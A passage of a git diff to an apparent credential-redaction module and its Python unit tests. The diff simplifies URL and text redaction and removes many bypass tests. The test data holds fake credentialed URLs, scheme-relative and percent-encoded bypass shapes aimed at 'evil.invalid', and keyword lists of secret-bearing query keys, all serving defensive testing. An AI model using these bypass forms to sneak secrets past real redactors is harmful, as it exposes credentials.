_UNSAFE_URI_CHARACTER.search(value) - or _has_ambiguous_percent_escape(value) + markers != 1 + or "%" in value + or _CONTROL_CHARACTER.search(value) + or any(character.isspace() for character in value) ): return REDACTED_URL try: - if is_hierarchical_uri: - return _redact_standard_url(value) - return _redact_scp_url(value) - except (UnicodeError, ValueError): + if value.startswith("//"): + return _redact_hierarchical(value, scheme_relative=True) + marker = _HIERARCHICAL_MARKER.match(value) + if marker is not None: + return _redact_hierarchical(value, scheme_relative=False) + if _looks_like_scp_git(value): + return _redact_scp(value) return REDACTED_URL except Exception: - # Evidence redaction is a security boundary: unexpected parser errors fail closed. return REDACTED_URL class TextRedactionIncompleteReason(StrEnum): - """Content-free reason that one bounded text redaction did not complete.""" + """Content-free reason that bounded text redaction did not complete.""" CHARACTER_LIMIT = "character_limit" CANDIDATE_LIMIT = "candidate_limit" @@ -444,7 +257,7 @@ class TextRedactionIncompleteReason(StrEnum): @dataclass(frozen=True, slots=True) class TextRedactionResult: - """Sanitized text plus truthful bounded completion and usage metadata.""" + """Sanitized text plus truthful completion and candidate-usage metadata.""" value: str complete: bool @@ -456,7 +269,6 @@ def __post_init__(self) -> None: not isinstance(self.value, str) or type(self.complete) is not bool or not _valid_bound(self.candidates) - or self.candidates > MAX_REDACTION_CHARACTERS or ( self.reason is not None and not isinstance(self.reason, TextRedactionIncompleteReason) @@ -466,189 +278,63 @@ def __post_init__(self) -> None: raise ValueError("invalid text redaction result") -@dataclass(frozen=True, slots=True) -class _TokenRedactionResult: - value: str - candidates: int - complete: bool - - -def _simple_token_parts(token: str) -> tuple[str, str, str, str]: +def _token_parts(token: str) -> tuple[str, str, str, str]: split_at = len(token) - while split_at > 0 and token[split_at - 1] in _SENTENCE_PUNCTUATION: + while split_at and token[split_at - 1] in _SENTENCE_PUNCTUATION: split_at -= 1 punctuation = token[split_at:] core = token[:split_at] if len(core) >= 2 and core[0] in _PROSE_OPENERS: - opener = core[0] closer = core[-1] - if _PAIRED_CLOSERS.get(closer) == opener: - return opener, core[1:-1], closer, punctuation + if _PAIRED_CLOSERS.get(closer) == core[0]: + return core[0], core[1:-1], closer, punctuation return "", core, "", punctuation -def _scp_signals_in_token(token: str, first_marker: int) -> int: - if "@" not in token or ":" not in token: - return 0 - if first_marker < 0: - return token.count("@") if _looks_like_scp_git(token) else 0 - - signals = 0 - at_before = token.find("@", 0, first_marker) - if at_before >= 0: - separator = token.find(":", at_before + 1, first_marker) - assignment = token.find("=", at_before + 1, first_marker) - if separator >= 0 and assignment < 0: - signals += token[:first_marker].count("@") - - suffix_start = len(token) - for delimiter in "/?#": - position = token.find(delimiter, first_marker + 3) - if position >= 0: - suffix_start = min(suffix_start, position) - suffix = token[suffix_start:] - if _looks_like_scp_git(suffix): - signals += suffix.count("@") - return signals - - -def _simple_redact_token(token: str, *, max_candidates: int) -> _TokenRedactionResult: - opener, candidate, closer, punctuation = _simple_token_parts(token) - if candidate.startswith("//"): - signals = 1 - elif _has_ambiguous_interior_double_slash(candidate): - signals = 1 - else: - first_marker = token.find("://") - signals = token.count("://") + _scp_signals_in_token(token, first_marker) - if signals == 0: - return _TokenRedactionResult(token, 0, True) - if signals > max_candidates: - return _TokenRedactionResult( - REDACTED_REMAINDER, - max_candidates, - False, - ) - - sanitized = redact_url(candidate, max_characters=len(candidate)) - if sanitized == REDACTED_URL: - return _TokenRedactionResult(f"{REDACTED_URL}{punctuation}", signals, True) - return _TokenRedactionResult( - f"{opener}{sanitized}{closer}{punctuation}", - signals, - True, +def _might_contain_candidate(value: str) -> bool: + return bool( + "://" in value + or _has_encoded_url_marker(value) + or ("//" in value and _SCHEME_RELATIVE_TOKEN.search(value)) + or ("@" in value and ":" in value) ) -def _next_token_has_credential_shape(value: str, start: int) -> bool: - index = start - while index < len(value) and value[index].isspace(): - index += 1 - token_start = index - while index < len(value) and not value[index].isspace(): - index += 1 - token = value[token_start:index] - if not token: - return False - at_sign = token.find("@") - colon = token.find(":") - if at_sign >= 0 and ( - 0 <= colon < at_sign - or "=" in token[:at_sign] - or any(delimiter in token[at_sign + 1 :] for delimiter in "/?#:[]") - ): - return True - encoded_at_sign = _ENCODED_AT_SIGN.search(token) - if encoded_at_sign is not None: - encoded_user = token[: encoded_at_sign.start()].casefold() - encoded_suffix = token[encoded_at_sign.end() :].casefold() - if ( - ":" in encoded_user - or "%3a" in encoded_user - or "=" in encoded_user - or "%3d" in encoded_user - or any(delimiter in encoded_suffix for delimiter in "/?#:[]") - or any(delimiter in encoded_suffix for delimiter in ("%3a", "%5b", "%5d")) - ): - return True - if "#" in token: - return True - _, separator, raw_query = token.partition("?") - return bool(separator and _query_has_sensitive_key(raw_query)) - - -def _redact_text_with_usage(value: str, *, max_candidates: int) -> TextRedactionResult: - result = StringIO() +def _redact_text(value: str, *, max_candidates: int) -> TextRedactionResult: + pieces: list[str] = [] cursor = 0 - index = 0 candidates = 0 try: - while index < len(value): - while index < len(value) and value[index].isspace(): - index += 1 - token_start = index - while index < len(value) and not value[index].isspace(): - index += 1 - if token_start == index: - continue - result.write(value[cursor:token_start]) - token_value = value[token_start:index] - _, bare_candidate, _, _ = _simple_token_parts(token_value) - incomplete_relative_attempt = bare_candidate.startswith("//") and ( - _validated_scheme_relative_reference(bare_candidate) is None - ) - ambiguous_continuation = incomplete_relative_attempt and ( - _next_token_has_credential_shape(value, index) - ) - if bare_candidate == "//" and not ambiguous_continuation: - result.write(token_value) - cursor = index + for match in re.finditer(r"\S+", value): + token = match.group() + opener, candidate, closer, punctuation = _token_parts(token) + signals = _marker_count(candidate) + if signals == 0: continue - if incomplete_relative_attempt and ambiguous_continuation: - if candidates >= max_candidates: - result.write(REDACTED_REMAINDER) - return TextRedactionResult( - value=result.getvalue(), - complete=False, - candidates=candidates, - reason=TextRedactionIncompleteReason.CANDIDATE_LIMIT, - ) - result.write(REDACTED_URL) - return TextRedactionResult( - value=result.getvalue(), - complete=True, - candidates=candidates + 1, - reason=None, - ) - token = _simple_redact_token( - token_value, - max_candidates=max_candidates - candidates, - ) - result.write(token.value) - if not token.complete: + if signals > max_candidates - candidates: return TextRedactionResult( - value=result.getvalue(), - complete=False, - candidates=candidates + token.candidates, - reason=TextRedactionIncompleteReason.CANDIDATE_LIMIT, + REDACTED_REMAINDER, + False, + candidates, + TextRedactionIncompleteReason.CANDIDATE_LIMIT, ) - candidates += token.candidates - cursor = index + pieces.append(value[cursor : match.start()]) + sanitized = redact_url(candidate, max_characters=len(candidate)) + if sanitized == REDACTED_URL: + pieces.append(f"{REDACTED_URL}{punctuation}") + else: + pieces.append(f"{opener}{sanitized}{closer}{punctuation}") + cursor = match.end() + candidates += signals + pieces.append(value[cursor:]) + return TextRedactionResult("".join(pieces), True, candidates, None) except Exception: - result.write(REDACTED_REMAINDER) return TextRedactionResult( - value=result.getvalue(), - complete=False, - candidates=candidates, - reason=TextRedactionIncompleteReason.INTERNAL_ERROR, + REDACTED_REMAINDER, + False, + 0, + TextRedactionIncompleteReason.INTERNAL_ERROR, ) - result.write(value[cursor:]) - return TextRedactionResult( - value=result.getvalue(), - complete=True, - candidates=candidates, - reason=None, - ) def redact_text_result( @@ -657,49 +343,36 @@ def redact_text_result( max_characters: int = MAX_REDACTION_CHARACTERS, max_candidates: int = MAX_REDACTION_CANDIDATES, ) -> TextRedactionResult: - """Return sanitized text with content-free bounded completion metadata.""" - if not isinstance(value, str): - return TextRedactionResult( - value=REDACTED_REMAINDER, - complete=False, - candidates=0, - reason=TextRedactionIncompleteReason.INVALID_INPUT, - ) - if value == REDACTED_REMAINDER: - return TextRedactionResult(value=value, complete=True, candidates=0, reason=None) - if not _valid_bound(max_characters) or not _valid_bound(max_candidates): + """Return bounded sanitized text with content-free completion metadata.""" + if ( + not isinstance(value, str) + or not _valid_bound(max_characters) + or not _valid_bound(max_candidates) + ): return TextRedactionResult( - value=REDACTED_REMAINDER, - complete=False, - candidates=0, - reason=TextRedactionIncompleteReason.INVALID_INPUT, + REDACTED_REMAINDER, + False, + 0, + TextRedactionIncompleteReason.INVALID_INPUT, ) if len(value) > max_characters: return TextRedactionResult( - value=REDACTED_REMAINDER, - complete=False, - candidates=0, - reason=TextRedactionIncompleteReason.CHARACTER_LIMIT, + REDACTED_REMAINDER, + False, + 0, + TextRedactionIncompleteReason.CHARACTER_LIMIT, ) - has_scheme_relative_attempt = ( - "//" in value and _SCHEME_RELATIVE_TOKEN_START.search(value) is not None - ) - might_have_ambiguous_interior = "//" in value and ( - any(signal in value for signal in "@#?") or _ENCODED_AT_SIGN.search(value) is not None - ) - if ( - "://" not in value - and not has_scheme_relative_attempt - and not might_have_ambiguous_interior - and ("@" not in value or ":" not in value) - ): + try: + if not _might_contain_candidate(value): + return TextRedactionResult(value, True, 0, None) + return _redact_text(value, max_candidates=max_candidates) + except Exception: return TextRedactionResult( - value=value, - complete=True, - candidates=0, - reason=None, + REDACTED_REMAINDER, + False, + 0, + TextRedactionIncompleteReason.INTERNAL_ERROR, ) - return _redact_text_with_usage(value, max_candidates=max_candidates) def redact_text( @@ -708,7 +381,7 @@ def redact_text( max_characters: int = MAX_REDACTION_CHARACTERS, max_candidates: int = MAX_REDACTION_CANDIDATES, ) -> str: - """Redact bounded URL candidates while preserving ordinary text exactly.""" + """Return the sanitized value from :func:`redact_text_result`.""" return redact_text_result( value, max_characters=max_characters, @@ -717,7 +390,7 @@ def redact_text( class _AggregateRedactionExhaustedError(Exception): - """Internal control flow for one exhausted recursive redaction budget.""" + """Internal control flow for any recursive redaction failure.""" @dataclass(slots=True) @@ -750,19 +423,14 @@ def visit(self, value: object, depth: int) -> object: return value if isinstance(value, (Mapping, list, tuple)): identity = id(value) - if identity in self.active: - return REDACTED_VALUE - if len(value) > self.remaining_nodes: + if identity in self.active or len(value) > self.remaining_nodes: raise _AggregateRedactionExhaustedError self.active.add(identity) try: if isinstance(value, Mapping): - result_mapping: dict[object, object] = {} - for key, nested in value.items(): - result_mapping[key] = self.visit(nested, depth + 1) - return result_mapping - result_items = [self.visit(nested, depth + 1) for nested in value] - return tuple(result_items) if isinstance(value, tuple) else result_items + return {key: self.visit(nested, depth + 1) for key, nested in value.items()} + items = [self.visit(nested, depth + 1) for nested in value] + return tuple(items) if isinstance(value, tuple) else items finally: self.active.remove(identity) return REDACTED_VALUE @@ -776,9 +444,11 @@ def redact_value( max_text_characters: int = MAX_REDACTION_CHARACTERS, max_text_candidates: int = MAX_REDACTION_CANDIDATES, ) -> object: - """Recursively sanitize evidence values under aggregate explicit ceilings.""" - bounds = (max_depth, max_nodes, max_text_characters, max_text_candidates) - if not all(_valid_bound(bound) for bound in bounds): + """Recursively sanitize evidence values under one aggregate bounded walk.""" + if not all( + _valid_bound(bound) + for bound in (max_depth, max_nodes, max_text_characters, max_text_candidates) + ): return REDACTED_VALUE try: return _ValueWalk( diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index 73d353b3..cf930301 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -114,7 +114,7 @@ def test_source_change_accepts_only_redacted_resolved_destinations() -> None: with pytest.raises(ValueError) as error: api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", destination=raw_destination, @@ -126,14 +126,18 @@ def test_source_change_accepts_only_redacted_resolved_destinations() -> None: change = api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", - destination="https://REDACTED@packages.example.invalid/private", + destination="https://packages.example.invalid/REDACTED_PATH", destination_status=api.DestinationStatus.RESOLVED, span=_span(api), ) - assert change.destination == "https://REDACTED@packages.example.invalid/private" + assert change.destination == "https://packages.example.invalid/REDACTED_PATH" + assert change.ecosystem is api.DependencyEcosystem.NPM + assert change.surface is api.DependencySourceSurface.SOURCE + assert change.operation is api.DependencySourceOperation.REPLACE + assert change.scope is api.DependencySourceScope.GLOBAL assert change.destination_status is api.DestinationStatus.RESOLVED @@ -153,7 +157,7 @@ def test_source_change_rejects_raw_destination_redaction_bypasses( with pytest.raises(ValueError) as error: api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", destination=raw_destination, @@ -164,72 +168,22 @@ def test_source_change_rejects_raw_destination_redaction_bypasses( assert "type-boundary-secret" not in str(error.value) -@pytest.mark.parametrize( - "raw_destination", - [ - "//user:scheme-relative-source-secret@packages.example.invalid/private", - "//packages.example.invalid/private?token=scheme-relative-source-secret", - "//?token=scheme-relative-source-secret", - "// /x?token=scheme-relative-source-secret", - "// user:scheme-relative-source-secret@packages.example.invalid/private", - "// user:scheme-relative-source-secret%40packages.example.invalid/private", - "// user%3Ascheme-relative-source-secret%40packages.example.invalid/private", - "// token=scheme-relative-source-secret@packages.example.invalid", - "// token%3Dscheme-relative-source-secret%40packages.example.invalid", - "// scheme-relative-source-secret@packages.example.invalid:8443", - "// scheme-relative-source-secret@[2001:db8::1]", - "//: user:scheme-relative-source-secret@packages.example.invalid/private", - "//: user:scheme-relative-source-secret%40packages.example.invalid/private", - "//? /x?token=scheme-relative-source-secret", - "/// /x?token=scheme-relative-source-secret", - "//; user:scheme-relative-source-secret@packages.example.invalid/private", - "x//user:ambiguous-source-secret@packages.example.invalid/private", - "x//packages.example.invalid/private#ambiguous-source-secret", - "x//packages.example.invalid/private?token=ambiguous-source-secret", - "x//user:ambiguous-source-secret%40packages.example.invalid/private", - "x?next=a//evil.invalid/path&token=ambiguous-source-secret", - "https://safe.invalid/path?next=x//user:nested-source-secret@evil.invalid/x", - "https://safe.invalid/path?next=x//user:nested-source-secret%40evil.invalid/x", - "https://safe.invalid/a//user:nested-source-secret@evil.invalid/x", - "//safe.invalid/path?next=x//user:nested-source-secret@evil.invalid/x", - ], -) -def test_source_change_rejects_raw_scheme_relative_credentials( - raw_destination: str, -) -> None: - api = _api() - - with pytest.raises(ValueError) as error: - api.SourceChange( - ecosystem="npm", - surface="npm config", - operation="replace", - scope="global", - destination=raw_destination, - destination_status=api.DestinationStatus.RESOLVED, - span=_span(api), - ) - - assert "scheme-relative-source-secret" not in str(error.value) - - @pytest.mark.parametrize( "destination", [ "[REDACTED_URL]", - "//packages.example.invalid/private?channel=stable", - "https://safe.invalid/a//b/c?channel=dev@example.invalid", - "https://safe.invalid/a//b/c?scope=%40org", + "//packages.example.invalid/REDACTED_PATH", + "https://safe.invalid/REDACTED_PATH", ], ) -def test_source_change_accepts_sanitized_scheme_relative_destinations( +def test_source_change_accepts_only_stable_sanitized_destinations( destination: str, ) -> None: api = _api() change = api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", destination=destination, @@ -246,7 +200,7 @@ def test_source_change_accepts_interior_double_slash_as_non_reference_syntax() - change = api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", destination=destination, @@ -257,78 +211,12 @@ def test_source_change_accepts_interior_double_slash_as_non_reference_syntax() - assert change.destination == destination -@pytest.mark.parametrize( - "query_key", - [ - "authorizationtoken", - "authenticationtoken", - "credentialtoken", - "tokensecret", - "secretkeytoken", - "passphrasekey", - "signaturetoken", - "dbpassword", - "registrytoken", - "dbauth", - "clientcredential", - "requestsignature", - "accesskey", - "githubtoken", - "githubtokenvalue", - "GITHUBTOKENVALUE", - "github%54oken%56alue", - ], -) -def test_source_change_rejects_compact_credential_query_grammar_bypasses( - query_key: str, -) -> None: - api = _api() - sentinel = "source-change-query-secret-4b6a" - - with pytest.raises(ValueError) as error: - api.SourceChange( - ecosystem="npm", - surface="npm config", - operation="replace", - scope="global", - destination=(f"https://packages.example.invalid/private?{query_key}={sentinel}"), - destination_status=api.DestinationStatus.RESOLVED, - span=_span(api), - ) - - assert sentinel not in str(error.value) - - -@pytest.mark.parametrize( - "query_key", - ["ssh_key", "registry-key", "encryption.key", "x_pass", "db_sig"], -) -def test_source_change_rejects_explicitly_separated_weak_credential_words( - query_key: str, -) -> None: - api = _api() - sentinel = "source-change-separated-weak-secret-498c" - - with pytest.raises(ValueError) as error: - api.SourceChange( - ecosystem="npm", - surface="npm config", - operation="replace", - scope="global", - destination=(f"https://packages.example.invalid/simple?{query_key}={sentinel}"), - destination_status=api.DestinationStatus.RESOLVED, - span=_span(api), - ) - - assert sentinel not in str(error.value) - - def test_source_change_uses_one_exact_unresolved_representation() -> None: api = _api() change = api.SourceChange( ecosystem="pip", - surface="pip config", + surface="source", operation="replace", scope="global", destination="unresolved", @@ -347,7 +235,7 @@ def test_source_change_rejects_empty_semantic_fields_and_has_no_raw_payload_slot api = _api() base = api.SourceChange( ecosystem="pip", - surface="pip config", + surface="source", operation="replace", scope="global", destination="unresolved", @@ -371,15 +259,15 @@ def test_source_change_rejects_empty_semantic_fields_and_has_no_raw_payload_slot @pytest.mark.parametrize("field", ["ecosystem", "surface", "operation", "scope"]) -@pytest.mark.parametrize("control", ["\x00", "\x1f", "\x7f"]) -def test_source_change_semantic_fields_reject_c0_and_del_controls( +@pytest.mark.parametrize("unsafe", ["attacker-secret", "safe\x00value"]) +def test_source_change_semantics_reject_attacker_controlled_labels( field: str, - control: str, + unsafe: str, ) -> None: api = _api() base = api.SourceChange( ecosystem="pip", - surface="pip config", + surface="source", operation="replace", scope="global", destination="unresolved", @@ -388,7 +276,7 @@ def test_source_change_semantic_fields_reject_c0_and_del_controls( ) with pytest.raises(ValueError): - dataclasses.replace(base, **{field: f"safe{control}value"}) + dataclasses.replace(base, **{field: unsafe}) @pytest.mark.parametrize("destination", ["", " ", "https://host.invalid/\x00path"]) @@ -398,7 +286,7 @@ def test_resolved_destination_rejects_blank_or_control_bearing_values(destinatio with pytest.raises(ValueError): api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", destination=destination, @@ -416,7 +304,7 @@ def test_resolved_destination_rejects_values_above_its_explicit_bound() -> None: with pytest.raises(ValueError): api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", scope="global", destination=destination, @@ -429,7 +317,7 @@ def test_parse_and_analysis_results_freeze_iterables_as_tuples() -> None: api = _api() change = api.SourceChange( ecosystem="pip", - surface="pip config", + surface="source", operation="replace", scope="global", destination="unresolved", @@ -521,10 +409,10 @@ def test_source_change_conversion_is_the_single_safe_finding_boundary() -> None: api = _api() change = api.SourceChange( ecosystem="npm", - surface="npm config", + surface="source", operation="replace", - scope="@acme", - destination="https://REDACTED@packages.example.invalid/private", + scope="scoped", + destination="https://packages.example.invalid/REDACTED_PATH", destination_status=api.DestinationStatus.RESOLVED, span=_span(api), ) @@ -537,10 +425,10 @@ def test_source_change_conversion_is_the_single_safe_finding_boundary() -> None: assert (finding.start_line, finding.end_line) == (1, 1) assert finding.evidence == { "ecosystem": "npm", - "surface": "npm config", + "surface": "source", "operation": "replace", - "scope": "@acme", - "destination": "https://REDACTED@packages.example.invalid/private", + "scope": "scoped", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", } diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index 19811ee8..913efa8b 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -1,1127 +1,124 @@ # SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Unit contracts for bounded dependency-source credential redaction.""" +"""Black-box contracts for bounded dependency-source URL redaction.""" from __future__ import annotations -import importlib from collections.abc import Iterator, Mapping -from time import perf_counter -from typing import Any import pytest +from skillspector import url_redaction as api -def _api() -> Any: - """Import the real redactor while keeping the initial TDD run collectable.""" - try: - return importlib.import_module("skillspector.url_redaction") - except ImportError: - pytest.fail("dependency-source URL redaction is unavailable") +def test_canonical_registry_url_has_pinned_safe_output() -> None: + raw = ( + "https://alice:supersecret@packages.example.invalid/private" + "?token=querysecret&channel=stable#fragmentsecret" + ) -def test_canonical_registry_url_has_pinned_safe_output() -> None: - api = _api() - raw = ( - "https://alice:supersecret@packages.example.invalid/private" - "?token=querysecret&channel=stable#fragmentsecret" - ) - - redacted = api.redact_url(raw) - - assert redacted == ( - "https://REDACTED@packages.example.invalid/private?token=REDACTED&channel=stable" - ) - for sentinel in ("alice", "supersecret", "querysecret", "fragmentsecret"): - assert sentinel not in redacted - - -@pytest.mark.parametrize( - "query_key", - [ - "AUTH", - "credential", - "apiKey", - "password", - "client_secret", - "X-Amz-Signature", - "access_to%6ben", - "API%5FKEY", - "%74oken", - ], -) -def test_credential_semantic_query_keys_are_decoded_and_redacted(query_key: str) -> None: - api = _api() - sentinel = "query-value-secret-98b11" - - redacted = api.redact_url( - f"https://packages.example.invalid/simple?{query_key}={sentinel}&channel=stable" - ) - - assert sentinel not in redacted - assert f"{query_key}=REDACTED" in redacted - assert "channel=stable" in redacted - - -@pytest.mark.parametrize( - "query_key", - ["ssh_key", "registry-key", "encryption.key", "x_pass", "db_sig"], -) -def test_explicitly_separated_weak_credential_words_are_redacted(query_key: str) -> None: - api = _api() - sentinel = "separated-weak-query-secret-e90a" - - redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") - - assert redacted.endswith(f"?{query_key}=REDACTED") - assert sentinel not in redacted - - -@pytest.mark.parametrize( - "query_key", - [ - "apikey", - "APIKEY", - "authToken", - "AUTHTOKEN", - "accessToken", - "clientSecret", - "privateKey", - "sig", - "%61pikey", - "%41piKey", - ], -) -def test_compact_and_mixed_case_credential_query_keys_are_redacted(query_key: str) -> None: - api = _api() - sentinel = "compact-query-secret-67fe" - - redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") - - assert redacted == (f"https://packages.example.invalid/simple?{query_key}=REDACTED") - assert sentinel not in redacted - - -@pytest.mark.parametrize( - "query_key", - [ - "authorizationtoken", - "AUTHORIZATIONTOKEN", - "authorizationToken", - "authorization%54oken", - "authenticationtoken", - "AUTHENTICATIONTOKEN", - "authenticationToken", - "authentication%54oken", - "credentialtoken", - "CREDENTIALTOKEN", - "credentialToken", - "%63redentialtoken", - "tokensecret", - "TOKENSECRET", - "tokenSecret", - "%74okenSecret", - "secretkeytoken", - "SECRETKEYTOKEN", - "secretKeyToken", - "secret%4BeyToken", - "passphrasekey", - "PASSPHRASEKEY", - "passphraseKey", - "passphrase%4Bey", - "signaturetoken", - "SIGNATURETOKEN", - "signatureToken", - "signature%54oken", - "dbpassword", - "DBPASSWORD", - "dbPassword", - "db%50assword", - "registrytoken", - "REGISTRYTOKEN", - "registryToken", - "registry%54oken", - "dbauth", - "DBAUTH", - "dbAuth", - "db%41uth", - "clientcredential", - "CLIENTCREDENTIAL", - "clientCredential", - "client%43redential", - "requestsignature", - "REQUESTSIGNATURE", - "requestSignature", - "request%53ignature", - "accesskey", - "ACCESSKEY", - "accessKey", - "access%4Bey", - "githubtoken", - "githubTokenValue", - "githubtokenvalue", - "GITHUBTOKENVALUE", - "github%54oken%56alue", - ], -) -def test_compact_query_key_grammar_redacts_complete_credential_terms( - query_key: str, -) -> None: - api = _api() - sentinel = "segmented-query-value-secret-11c4" - raw = f"https://packages.example.invalid/simple?channel=one;{query_key}={sentinel}&channel=two" - - redacted = api.redact_url(raw) - - assert redacted == ( - f"https://packages.example.invalid/simple?channel=one;{query_key}=REDACTED&channel=two" - ) - assert sentinel not in redacted - - -@pytest.mark.parametrize( - "raw", - [ - "ssh://ssh-user:ssh-secret-0d9f@git.example.invalid/org/repo.git#fragment-secret", - "git+https://git-user:git-secret-a941@git.example.invalid/org/repo.git?auth=query-secret", - "git+ssh://agent:agent-secret-c2ab@git.example.invalid/org/repo.git", - "scp-user-secret@git.example.invalid:org/repo.git#scp-fragment-secret", - ], -) -def test_ssh_git_and_scp_like_forms_remove_userinfo_fragments_and_secret_queries(raw: str) -> None: - api = _api() - - redacted = api.redact_url(raw) - - for sentinel in ( - "ssh-user", - "ssh-secret", - "git-user", - "git-secret", - "query-secret", - "agent-secret", - "scp-user-secret", - "fragment-secret", - "scp-fragment-secret", - ): - assert sentinel not in redacted - assert "git.example.invalid" in redacted - assert "org/repo.git" in redacted - assert "REDACTED" in redacted - - -@pytest.mark.parametrize( - ("raw", "expected"), - [ - ( - "https://user:ipv6-secret@[2001:db8::1]:8443/private", - "https://REDACTED@[2001:db8::1]:8443/private", - ), - ( - "http://user:http-secret@packages.example.invalid:8080/simple", - "http://REDACTED@packages.example.invalid:8080/simple", - ), - ( - "git://user:git-scheme-secret@git.example.invalid/org/repo.git", - "git://REDACTED@git.example.invalid/org/repo.git", - ), - ], -) -def test_valid_ipv6_http_and_git_urls_preserve_safe_authority_and_path( - raw: str, - expected: str, -) -> None: - api = _api() - - assert api.redact_url(raw) == expected - - -@pytest.mark.parametrize( - "value", - [ - "//packages.example.invalid/private", - "//[2001:db8::1]:8443/private?channel=stable&channel=beta", - "//path", - ], -) -def test_demonstrably_safe_scheme_relative_references_are_preserved_exactly( - value: str, -) -> None: - api = _api() - - assert api.redact_url(value) == value - assert api.redact_text_result(value) == api.TextRedactionResult( - value=value, - complete=True, - candidates=1, - reason=None, - ) - - -@pytest.mark.parametrize( - "raw", - [ - "//user:scheme-relative-secret@packages.example.invalid/private", - "//packages.example.invalid/private?token=scheme-relative-query-secret", - "//packages.example.invalid/private?token=REDACTED", - "//packages.example.invalid/private#scheme-relative-fragment-secret", - "//user:scheme-relative-port-secret@packages.example.invalid:/private", - "//user:scheme-relative-bracket-secret@[not-ipv6]/private", - "//first:scheme-relative-at-secret@second@packages.example.invalid/private", - "//?token=empty-authority-secret", - "///x?token=empty-authority-path-secret", - "// /x?token=space-authority-secret", - "//safe.invalid/a//nested.invalid/x", - "//safe.invalid/path?next=https://user:nested-absolute-secret@evil.invalid/x", - "//safe.invalid/path?next=//user:nested-relative-secret@evil.invalid/x", - "//safe.invalid/path?next=x//user:nested-interior-secret@evil.invalid/x", - "//safe.invalid/path?next=x//evil.invalid/x?token=nested-query-secret", - "//safe.invalid/path?next=user:nested-scp-secret@evil.invalid:repo.git", - ], -) -def test_unsafe_or_ambiguous_scheme_relative_values_use_one_placeholder(raw: str) -> None: - api = _api() - - assert api.redact_url(raw) == api.REDACTED_URL - assert api.redact_text_result(raw) == api.TextRedactionResult( - value=api.REDACTED_URL, - complete=True, - candidates=1, - reason=None, - ) - assert "secret" not in api.redact_text(raw) - - -def test_absolute_url_double_slash_path_is_safe_but_nested_query_reference_is_ambiguous() -> None: - api = _api() - safe = "https://registry.example.invalid/a//b/c" - nested = "https://registry.example.invalid/a//b/c?next=//user:secret@evil.invalid/x" - - assert api.redact_url(safe) == safe - assert api.redact_text_result(safe) == api.TextRedactionResult( - value=safe, - complete=True, - candidates=1, - reason=None, - ) - assert api.redact_url(nested) == api.REDACTED_URL - assert api.redact_text_result(nested) == api.TextRedactionResult( - value=api.REDACTED_URL, - complete=True, - candidates=1, - reason=None, - ) - - -@pytest.mark.parametrize( - "safe", - [ - "https://safe.invalid/a//b%20c", - "https://safe.invalid/a//b%2Fc", - "https://safe.invalid/a//b/c?channel=dev@example.invalid", - "https://safe.invalid/a//b/c?scope=@org", - "https://safe.invalid/a//b/c?scope=%40org", - ], -) -def test_absolute_double_slash_paths_preserve_ordinary_percent_encoded_data( - safe: str, -) -> None: - api = _api() - - assert api.redact_url(safe) == safe - assert api.redact_text_result(safe) == api.TextRedactionResult( - value=safe, - complete=True, - candidates=1, - reason=None, - ) - - -@pytest.mark.parametrize( - ("raw", "expected"), - [ - ( - "https://safe.invalid/a//b/c?next=a//b&token=query-secret", - "https://safe.invalid/a//b/c?next=a//b&token=REDACTED", - ), - ( - "https://registry.example.invalid/a//b/c?token=query-secret&channel=stable", - "https://registry.example.invalid/a//b/c?token=REDACTED&channel=stable", - ), - ], -) -def test_absolute_double_slash_path_redacts_sensitive_query_without_whole_masking( - raw: str, - expected: str, -) -> None: - api = _api() - - assert api.redact_url(raw) == expected - assert api.redact_text_result(raw) == api.TextRedactionResult( - value=expected, - complete=True, - candidates=1, - reason=None, - ) - - -@pytest.mark.parametrize( - "nested", - [ - "https://safe.invalid/a//user:nested-path-secret@evil.invalid/x", - "https://safe.invalid/path?next=x//user:nested-userinfo-secret@evil.invalid/x", - "https://safe.invalid/path?next=x//user:nested-encoded-secret%40evil.invalid/x", - "https://safe.invalid/path?next=x//evil.invalid/x?token=nested-query-secret", - ], -) -def test_absolute_url_query_rejects_ambiguous_interior_relative_shape( - nested: str, -) -> None: - api = _api() - - assert api.redact_url(nested) == api.REDACTED_URL - assert api.redact_text_result(nested) == api.TextRedactionResult( - value=api.REDACTED_URL, - complete=True, - candidates=1, - reason=None, - ) - assert api.redact_text(nested, max_candidates=0) == api.REDACTED_REMAINDER - sanitized = api.redact_text(nested) - assert "secret" not in sanitized - assert api.redact_text(sanitized) == sanitized - - -@pytest.mark.parametrize( - "value", - [ - "x//evil.invalid/path", - "src/a//b.py", - "x?next=a//b&channel=stable", - "x//host.invalid/path%20with%20space", - "src/a//b%2Fc.py", - ], -) -def test_interior_double_slash_without_a_boundary_is_not_a_reference(value: str) -> None: - api = _api() - - assert api.redact_url(value) == value - assert api.redact_text_result(value) == api.TextRedactionResult( - value=value, - complete=True, - candidates=0, - reason=None, - ) - - -@pytest.mark.parametrize( - "value", - [ - "x//user:interior-userinfo-secret@evil.invalid/path", - "x//evil.invalid/path#interior-fragment-secret", - "x//evil.invalid/path?token=interior-query-secret", - "x//user:interior-encoded-secret%40evil.invalid/path", - "x//user%3Ainterior-encoded-secret%40evil.invalid/path", - "x?next=a//evil.invalid/path&token=interior-query-secret", - "prefix?registry=x//host.invalid/path&authToken=interior-query-secret", - ], -) -def test_credential_shaped_interior_double_slash_values_fail_closed(value: str) -> None: - api = _api() - - assert api.redact_url(value) == api.REDACTED_URL - assert 